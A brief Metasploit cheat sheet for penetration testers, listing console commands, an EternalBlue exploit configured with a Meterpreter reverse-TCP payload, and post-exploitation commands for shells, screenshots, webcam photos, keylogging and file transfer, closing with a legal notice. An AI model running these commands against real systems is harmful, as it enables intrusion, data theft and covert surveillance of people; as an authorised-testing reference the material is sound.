Metasploit Framework Cheat Sheet

Introduction to Metasploit

Metasploit is a penetration testing framework used to find, exploit, and validate vulnerabilities.
It comes pre-installed in Kali Linux.

Starting Metasploit

```
sudo service postgresql start - Start PostgreSQL database
msfdb init - Initialize Metasploit DB (first time)
msfconsole - Launch Metasploit console
```

Basic Commands

```
search <name> - Search for exploits/modules
use <path> - Select a module
show options - View required options for selected module
set <OPTION> <value> - Set target or payload options
exploit - Run the exploit
sessions - List active sessions
background - Send session to background
```

Common Exploits & Payloads

```
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOSTS <target_ip>
set LHOST <your_ip>
set LPORT <your_port>
```

Post-Exploitation Commands (Meterpreter)

```
sysinfo - Show system information
getuid - Get current user ID
shell - Drop into system shell
screenshot - Take screenshot
webcam_snap - Take webcam photo
keyscan_start - Start keylogging
download/upload - File transfer
```

Metasploit Tips

```
info - Get detailed info about module
help - List all commands
exit - Quit Metasploit console
```

Metasploit Framework Cheat Sheet

Legal Notice

Use Metasploit only in legal and ethical scenarios.
Unauthorized access or exploitation can result in legal consequences.